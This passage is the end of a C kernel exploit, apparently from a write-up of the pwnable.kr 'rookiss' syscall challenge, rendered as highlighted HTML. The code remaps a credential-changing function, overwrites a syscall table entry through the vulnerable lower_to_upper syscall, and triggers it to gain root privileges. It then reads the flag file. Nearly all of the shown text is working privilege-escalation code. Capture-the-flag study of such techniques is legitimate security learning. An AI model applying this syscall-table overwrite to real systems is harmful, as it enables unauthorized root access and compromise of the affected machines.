<span class="n">printf</span><span class="p">(</span><span class="s">"code got mapped to: %p</span><span class="se">\n</span><span class="s">"</span><span class="p">,</span> <span class="n">remapped_addr</span><span class="p">);</span>
<span class="n">memset</span><span class="p">(</span><span class="n">remapped_addr</span><span class="p">,</span> <span class="sc">'\x90'</span><span class="p">,</span> <span class="n">AL_SZ</span><span class="p">);</span>
<span class="kt">void</span><span class="o">*</span> <span class="n">map_start</span> <span class="o">=</span> <span class="p">(</span><span class="kt">void</span><span class="o">*</span><span class="p">)</span><span class="mh">0x00008000</span><span class="p">;</span>
<span class="kt">void</span><span class="o">*</span> <span class="n">map_end</span> <span class="o">=</span> <span class="p">(</span><span class="kt">void</span><span class="o">*</span><span class="p">)</span><span class="mh">0x00009000</span><span class="p">;</span>
<span class="kt">int</span> <span class="n">len</span> <span class="o">=</span> <span class="n">map_end</span> <span class="o">-</span> <span class="n">map_start</span><span class="p">;</span>
<span class="n">printf</span><span class="p">(</span><span class="s">"Code length to be copied: %d</span><span class="se">\n</span><span class="s">"</span><span class="p">,</span> <span class="n">len</span><span class="p">);</span>
<span class="c1">// make a little offset here to avoid lower case value byte - might need to manually change!
</span> <span class="n">remapped_addr</span> <span class="o">+=</span> <span class="mh">0x20</span><span class="p">;</span>
<span class="n">memcpy</span><span class="p">(</span><span class="n">remapped_addr</span><span class="p">,</span> <span class="n">map_start</span><span class="p">,</span> <span class="n">len</span><span class="p">);</span>
<span class="n">u32</span> <span class="n">our_rmaped_func</span> <span class="o">=</span> <span class="p">(</span><span class="n">u32</span><span class="p">)</span><span class="n">remapped_addr</span> <span class="o">+</span> <span class="p">((</span><span class="n">u32</span><span class="p">)</span><span class="n">change_cred</span> <span class="o">-</span> <span class="p">(</span><span class="n">u32</span><span class="p">)</span><span class="n">map_start</span><span class="p">);</span>
<span class="n">printf</span><span class="p">(</span><span class="s">"change_cred addr: %p offset: %u -> Address of remapped func: %p</span><span class="se">\n</span><span class="s">"</span><span class="p">,</span>
<span class="n">change_cred</span><span class="p">,</span> <span class="p">((</span><span class="n">u32</span><span class="p">)</span><span class="n">change_cred</span> <span class="o">-</span> <span class="p">(</span><span class="n">u32</span><span class="p">)</span><span class="n">map_start</span><span class="p">),</span> <span class="p">(</span><span class="kt">void</span><span class="o">*</span><span class="p">)</span><span class="n">our_rmaped_func</span> <span class="p">);</span>
<span class="kt">char</span> <span class="n">fun</span><span class="p">[</span><span class="mi">5</span><span class="p">];</span>
<span class="n">memset</span><span class="p">(</span><span class="n">fun</span><span class="p">,</span> <span class="mi">0</span> <span class="p">,</span> <span class="k">sizeof</span><span class="p">(</span><span class="n">fun</span><span class="p">));</span>
<span class="n">cop_addr</span><span class="p">(</span><span class="n">fun</span><span class="p">,</span> <span class="p">(</span><span class="kt">char</span><span class="o">*</span><span class="p">)</span><span class="o">&</span><span class="n">our_rmaped_func</span><span class="p">);</span>
<span class="n">printf</span><span class="p">(</span><span class="s">"Hit enter to copy our callback %p to syscall table slot: %p</span><span class="se">\n</span><span class="s">"</span><span class="p">,</span> <span class="p">(</span><span class="kt">void</span><span class="o">*</span><span class="p">)</span><span class="o">*</span><span class="p">(</span><span class="kt">unsigned</span> <span class="kt">int</span><span class="o">*</span><span class="p">)</span><span class="n">fun</span><span class="p">,</span>
<span class="p">(</span><span class="kt">void</span><span class="o">*</span><span class="p">)</span><span class="n">syscall_entry_addr</span><span class="p">);</span>
<span class="n">getchar</span><span class="p">();</span>
<span class="n">lower_to_upper</span><span class="p">(</span><span class="n">fun</span><span class="p">,</span> <span class="p">(</span><span class="kt">char</span><span class="o">*</span><span class="p">)</span><span class="n">syscall_entry_addr</span><span class="p">);</span>
<span class="kt">char</span> <span class="n">store</span><span class="p">[</span><span class="mi">64</span><span class="p">];</span>
<span class="n">memset</span><span class="p">(</span><span class="n">store</span><span class="p">,</span> <span class="mi">0</span> <span class="p">,</span> <span class="k">sizeof</span><span class="p">(</span><span class="n">store</span><span class="p">));</span>
<span class="n">printf</span><span class="p">(</span><span class="s">"Data will be placed at: %p</span><span class="se">\n</span><span class="s">"</span><span class="p">,</span> <span class="n">store</span><span class="p">);</span>
<span class="n">printf</span><span class="p">(</span><span class="s">"Hit enter to get our callback triggered!</span><span class="se">\n</span><span class="s">"</span><span class="p">);</span>
<span class="n">getchar</span><span class="p">();</span>
<span class="c1">// change the credentials
</span> <span class="kt">int</span> <span class="n">r</span> <span class="o">=</span> <span class="n">lower_to_upper</span><span class="p">(</span><span class="n">store</span><span class="p">,</span> <span class="n">store</span><span class="p">);</span> <span class="c1">// params will not be used actually here anymore
</span>
<span class="n">printf</span><span class="p">(</span><span class="s">"Credentials change return value: %d</span><span class="se">\n</span><span class="s">"</span><span class="p">,</span> <span class="n">r</span><span class="p">);</span>
<span class="c1">// validate by calling getuid, geteuid
</span>
<span class="kt">int</span> <span class="n">fd</span> <span class="o">=</span> <span class="n">open</span><span class="p">(</span><span class="n">flagfile</span><span class="p">,</span> <span class="n">O_RDONLY</span><span class="p">,</span> <span class="mi">0</span><span class="p">);</span>
<span class="k">if</span><span class="p">(</span><span class="n">fd</span> <span class="o">==</span> <span class="o">-</span><span class="mi">1</span><span class="p">)</span> <span class="p">{</span>
<span class="n">printf</span><span class="p">(</span><span class="s">"Failed to open %s</span><span class="se">\n</span><span class="s">"</span><span class="p">,</span> <span class="n">flagfile</span><span class="p">);</span>
<span class="n">exit</span><span class="p">(</span><span class="mi">1</span><span class="p">);</span>
<span class="p">}</span>
<span class="n">printf</span><span class="p">(</span><span class="s">"Opened %s with fd: %d</span><span class="se">\n</span><span class="s">"</span><span class="p">,</span> <span class="n">flagfile</span><span class="p">,</span> <span class="n">fd</span><span class="p">);</span>
<span class="n">r</span> <span class="o">=</span> <span class="n">read</span><span class="p">(</span><span class="n">fd</span><span class="p">,</span> <span class="n">store</span><span class="p">,</span> <span class="k">sizeof</span><span class="p">(</span><span class="n">store</span><span class="p">)</span><span class="o">-</span><span class="mi">1</span><span class="p">);</span>
<span class="n">printf</span><span class="p">(</span><span class="s">"Read %d num bytes, data:%s</span><span class="se">\n</span><span class="s">"</span><span class="p">,</span> <span class="n">r</span><span class="p">,</span> <span class="n">store</span><span class="p">);</span>
<span class="c1">// foo();
</span>
<span class="k">return</span> <span class="mi">0</span><span class="p">;</span>
<span class="p">}</span></code></pre></figure>tags: #pwnable #rookiss #kernel #kernelexploit #syscall #cred